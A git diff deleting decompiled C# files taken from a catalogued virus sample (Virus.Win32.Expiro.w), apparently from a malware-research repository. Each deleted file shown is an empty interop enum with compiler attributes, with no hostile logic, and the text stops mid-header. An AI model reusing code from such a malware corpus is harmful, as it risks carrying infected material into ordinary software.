-// Type: tagBINDSTRING -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagBINDSTRING -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagBIND_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagBIND_FLAGS.cs deleted file mode 100644 index 18cf1d83..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagBIND_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagBIND_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagBIND_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagCALLCONV.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagCALLCONV.cs deleted file mode 100644 index 0ae5ac4a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagCALLCONV.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagCALLCONV -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagCALLCONV -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagCALLTYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagCALLTYPE.cs deleted file mode 100644 index 0acc7dca..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagCALLTYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagCALLTYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagCALLTYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagCHANGEKIND.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagCHANGEKIND.cs deleted file mode 100644 index 82cdcdfa..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagCHANGEKIND.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagCHANGEKIND -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagCHANGEKIND -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagCLSCTX.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagCLSCTX.cs deleted file mode 100644 index 6e298145..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagCLSCTX.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagCLSCTX -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagCLSCTX -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagCOINIT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagCOINIT.cs deleted file mode 100644 index 0d4282a4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagCOINIT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagCOINIT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagCOINIT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagCOMSD.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagCOMSD.cs deleted file mode 100644 index 51bd90ed..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagCOMSD.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagCOMSD -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagCOMSD -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagCOWAIT_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagCOWAIT_FLAGS.cs deleted file mode 100644 index 26cddf45..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagCOWAIT_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagCOWAIT_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagCOWAIT_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagCTRLINFO.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagCTRLINFO.cs deleted file mode 100644 index c46ad248..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagCTRLINFO.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagCTRLINFO -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagCTRLINFO -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagDATADIR.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagDATADIR.cs deleted file mode 100644 index 9097918b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagDATADIR.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagDATADIR -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagDATADIR -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagDCOM_CALL_STATE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagDCOM_CALL_STATE.cs deleted file mode 100644 index d4a1358b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagDCOM_CALL_STATE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagDCOM_CALL_STATE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagDCOM_CALL_STATE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagDESCKIND.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagDESCKIND.cs deleted file mode 100644 index 3a08bf90..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagDESCKIND.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagDESCKIND -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagDESCKIND -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagDISCARDCACHE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagDISCARDCACHE.cs deleted file mode 100644 index e91c4680..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagDISCARDCACHE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagDISCARDCACHE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagDISCARDCACHE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagDOMNodeType.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagDOMNodeType.cs deleted file mode 100644 index c12ae439..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagDOMNodeType.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagDOMNodeType -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagDOMNodeType -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagDVASPECT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagDVASPECT.cs deleted file mode 100644 index c83dc4dc..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagDVASPECT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagDVASPECT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagDVASPECT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagDVASPECT2.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagDVASPECT2.cs deleted file mode 100644 index e36c3166..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagDVASPECT2.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagDVASPECT2 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagDVASPECT2 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagEOLE_AUTHENTICATION_CAPABILITIES.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagEOLE_AUTHENTICATION_CAPABILITIES.cs deleted file mode 100644 index 93ea7e8c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagEOLE_AUTHENTICATION_CAPABILITIES.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagEOLE_AUTHENTICATION_CAPABILITIES -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagEOLE_AUTHENTICATION_CAPABILITIES -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagEXTCONN.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagEXTCONN.cs deleted file mode 100644 index ae32b014..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagEXTCONN.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagEXTCONN -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagEXTCONN -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagExtendedErrorParamTypes.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagExtendedErrorParamTypes.cs deleted file mode 100644 index a19db4bc..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagExtendedErrorParamTypes.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagExtendedErrorParamTypes -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagExtendedErrorParamTypes -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagExtentMode.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagExtentMode.cs deleted file mode 100644 index 0cf35fda..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagExtentMode.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagExtentMode -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagExtentMode -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagFUNCFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagFUNCFLAGS.cs deleted file mode 100644 index 6b8e6603..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagFUNCFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagFUNCFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagFUNCFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagFUNCKIND.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagFUNCKIND.cs deleted file mode 100644 index a383d9f0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagFUNCKIND.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagFUNCKIND -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagFUNCKIND -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagGUIDKIND.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagGUIDKIND.cs deleted file mode 100644 index 8b7503c3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagGUIDKIND.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagGUIDKIND -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagGUIDKIND -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagHITRESULT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagHITRESULT.cs deleted file mode 100644 index 6de974a7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagHITRESULT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagHITRESULT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, 